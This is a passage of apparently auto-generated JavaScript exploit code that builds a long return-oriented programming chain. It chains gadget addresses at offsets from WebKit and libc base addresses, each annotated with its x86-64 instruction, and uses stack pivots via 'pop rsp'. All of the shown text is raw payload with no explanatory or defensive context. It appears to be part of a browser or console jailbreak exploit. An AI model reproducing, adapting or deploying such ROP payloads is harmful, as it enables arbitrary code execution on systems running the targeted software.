// 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L3062: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L3063: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+197984, //L3064 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+198016, //L3066 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+198000, //L3065 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L3064: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L3065: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L3066: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+764700, //add rax, rcx +libc_base+713278, //pop rsi +ropchain+198104, //L3067 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L3067: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+198160, //L3069 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L3069: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+198304, //L3072 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+198320, //L3073 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+198288, //L3071 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L3071: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L3072: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L3073: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+229136, //mov al, [rdi] +libc_base+713278, //pop rsi +ropchain+198480, //L3077 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+198448, //L3075 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+198464, //L3076 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L3074: +db([24, 0]); // 0x18 +set_gadget(libc_base+165442,); //pop rdi +//L3075: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L3076: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L3077: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+857161, //shl rax, cl +libc_base+713278, //pop rsi +ropchain+198536, //L3078 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+165442 //pop rdi +]); +//L3078: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+288783, //sar edi, cl +libc_base+713278, //pop rsi +ropchain+198664, //L3081 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+198680, //L3082 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+198648, //L3080 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L3080: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L3081: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L3082: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+198840, //L3086 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+198808, //L3084 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+198824, //L3085 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L3083: +db([24, 0]); // 0x18 +set_gadget(libc_base+165442,); //pop rdi +//L3084: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L3085: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L3086: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+857161, //shl rax, cl +libc_base+713278, //pop rsi +ropchain+198896, //L3087 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+165442 //pop rdi +]); +//L3087: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+288783, //sar edi, cl +libc_base+713278, //pop rsi +ropchain+199024, //L3090 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+199040, //L3091 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+199008, //L3089 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L3089: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L3090: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L3091: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+199200, //L3095 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+199168, //L3093 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+199184, //L3094 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L3092: +db([24, 0]); // 0x18 +set_gadget(libc_base+165442,); //pop rdi +//L3093: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L3094: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L3095: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+857161, //shl rax, cl +libc_base+713278, //pop rsi +ropchain+199256, //L3096 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+165442 //pop rdi +]); +//L3096: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+288783, //sar edi, cl +libc_base+713278, //pop rsi +ropchain+199384, //L3099 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+199400, //L3100 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+199368, //L3098 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L3098: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L3099: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L3100: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+199480, //L3101 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+199496, //L3102 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L3101: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L3102: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+199656, //L3106 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+199624, //L3104 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+199640, //L3105 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L3103: +db([24, 0]); // 0x18 +set_gadget(libc_base+165442,); //pop rdi +//L3104: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L3105: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L3106: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+857161, //shl rax, cl +libc_base+713278, //pop rsi +ropchain+199712, //L3107 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+165442 //pop rdi +]); +//L3107: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+288783, //sar edi, cl +libc_base+713278, //pop rsi +ropchain+199840, //L3110 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+199856, //L3111 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+199824, //L3109 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L3109: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L3110: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L3111: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+199952, //L3113 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+199936, //L3112 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L3112: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L3113: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+200048, //L3115 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L3114: +db([4294967288, 4294967295]); // -0x8 +set_gadget(libc_base+772328,); //pop rcx +//L3115: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+200152, //L3118 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+200136, //L3117 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L3117: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L3118: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+200296, //L3122 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+200264, //L3120 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+200280, //L3121 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L3120: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L3121: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L3122: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+200368, //L3123 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L3123: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+200424, //L3125 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L3125: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+200520, //L3128 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L3127: +db([4294967276, 4294967295]); // -0x14 +set_gadget(libc_base+772328,); //pop rcx +//L3128: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+200624, //L3131 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+200608, //L3130 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L3130: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L3131: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149873, //mov eax, [rdi] +libc_base+713278, //pop rsi +ropchain+200784, //L3134 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+200816, //L3136 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+200768, //L3133 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+200800, //L3135 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L3133: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L3134: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L3135: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L3136: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+200928, //L3137 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+200960, //L3139 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+200944, //L3138 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L3137: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L3138: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L3139: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+764700, //add rax, rcx +libc_base+713278, //pop rsi +ropchain+201048, //L3140 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L3140: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+201104, //L3142 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L3142: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+201176, //L3144 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L3144: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+201232, //L3146 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L3146: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+887232, //mov [rax], cl +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +//L3148: +libc_base+713278, //pop rsi +ropchain+201336, //L3150 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L3149: +db([4294967276, 4294967295]); // -0x14 +set_gadget(libc_base+772328,); //pop rcx +//L3150: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+201440, //L3153 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+201424, //L3152 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L3152: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L3153: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149873, //mov eax, [rdi] +libc_base+713278, //pop rsi +ropchain+201600, //L3156 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+201632, //L3158 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+201584, //L3155 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+201616, //L3157 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L3155: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L3156: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L3157: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L3158: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+201728, //L3160 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+201712, //L3159 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L3159: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L3160: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+201816, //L3162 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+713278 //pop rsi +]); +//L3161: +db([1, 0]); // 0x1 +set_gadget(libc_base+768796,); //pop rax +//L3162: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+201888, //L3164 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L3163: +db([4294967276, 4294967295]); // -0x14 +set_gadget(libc_base+772328,); //pop rcx +//L3164: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +webkit_base+972324, //mov [rax], ecx +libc_base+713278, //pop rsi +ropchain+201952, //L3166 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L3166: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+489696, //pop rsp +ropchain+195736, //L3007 +//L3040: +libc_base+489696, //pop rsp +ropchain+212368, //L3168 +//L2995: +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+202064, //L3169 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L3169: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L3170: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+768796 //pop rax +]); +//L3171: +db([1, 0]); // 0x1 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+768796 //pop rax +]); +//L3172: +db([2, 0]); // 0x2 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+768796, //pop rax +//L3174: +ropchain+202280, //L3173 +libc_base+713278 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+489696, //pop rsp +ropchain+220632, //L3175 +//L3173: +libc_base+863109, //mov rax, rcx +libc_base+713278 //pop rsi +]); +db([4294967272, 4294967295]); // -0x18 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+202368, //L3177 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L3176: +db([4294967272, 4294967295]); // -0x18 +set_gadget(libc_base+772328,); //pop rcx +//L3177: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +webkit_base+972324, //mov [rax], ecx +libc_base+388400, //mov rax, rdi +libc_base+772328 //pop rcx +]); +//L3179: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+887232, //mov [rax], cl +libc_base+713278, //pop rsi +ropchain+202472, //L3182 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+713278 //pop rsi +]); +//L3181: +db([1, 0]); // 0x1 +set_gadget(libc_base+768796,); //pop rax +//L3182: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+388400, //mov rax, rdi +libc_base+772328 //pop rcx +]); +//L3183: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+887232, //mov [rax], cl +libc_base+713278, //pop rsi +ropchain+202568, //L3186 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+713278 //pop rsi +]); +//L3185: +db([1, 0]); // 0x1 +set_gadget(libc_base+768796,); //pop rax +//L3186: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +webkit_base+887232, //mov [rax], cl +libc_base+713278, //pop rsi +ropchain+202640, //L3188 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+713278 //pop rsi +]); +//L3187: +db([1, 0]); // 0x1 +set_gadget(libc_base+768796,); //pop rax +//L3188: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +webkit_base+887232, //mov [rax], cl +libc_base+713278, //pop rsi +ropchain+202712, //L3190 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+713278 //pop rsi +]); +//L3189: +db([1, 0]); // 0x1 +set_gadget(libc_base+768796,); //pop rax +//L3190: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +webkit_base+887232, //mov [rax], cl +libc_base+713278, //pop rsi +ropchain+202784, //L3192 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+713278 //pop rsi +]); +//L3191: +db([1, 0]); // 0x1 +set_gadget(libc_base+768796,); //pop rax +//L3192: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +webkit_base+887232, //mov [rax], cl +libc_base+713278, //pop rsi +ropchain+202856, //L3194 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+713278 //pop rsi +]); +//L3193: +db([1, 0]); // 0x1 +set_gadget(libc_base+768796,); //pop rax +//L3194: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +webkit_base+887232, //mov [rax], cl +libc_base+713278, //pop rsi +ropchain+202928, //L3196 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+713278 //pop rsi +]); +//L3195: +db([1, 0]); // 0x1 +set_gadget(libc_base+768796,); //pop rax +//L3196: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +webkit_base+887232, //mov [rax], cl +libc_base+713278, //pop rsi +ropchain+203000, //L3198 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+713278 //pop rsi +]); +//L3197: +db([1, 0]); // 0x1 +set_gadget(libc_base+768796,); //pop rax +//L3198: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +webkit_base+887232, //mov [rax], cl +libc_base+713278, //pop rsi +ropchain+203072, //L3200 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+713278 //pop rsi +]); +//L3199: +db([1, 0]); // 0x1 +set_gadget(libc_base+768796,); //pop rax +//L3200: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L3201: +db([4294967257, 4294967295]); // -0x27 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+203168, //L3204 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L3203: +db([2, 0]); // 0x2 +set_gadget(libc_base+768796,); //pop rax +//L3204: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+887232, //mov [rax], cl +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L3205: +db([4294967258, 4294967295]); // -0x26 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+203272, //L3208 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+772328 //pop rcx +]); +//L3207: +db([15395, 0]); // 0x3c23 +set_gadget(libc_base+165442,); //pop rdi +//L3208: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+524088, //mov [rdi], cx +libc_base+713278, //pop rsi +ropchain+203344, //L3211 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L3210: +db([4294967260, 4294967295]); // -0x24 +set_gadget(libc_base+165442,); //pop rdi +//L3211: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+203408, //L3214 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L3213: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L3214: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+972324, //mov [rax], ecx +libc_base+713278, //pop rsi +ropchain+203456, //L3215 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L3215: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L3216: +db([16, 0]); // 0x10 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+740138, //mov rax, r8 +libc_base+713278, //pop rsi +ropchain+203568, //L3218 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+713278 //pop rsi +]); +//L3217: +db([4294967256, 4294967295]); // -0x28 +set_gadget(libc_base+768796,); //pop rax +//L3218: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278 //pop 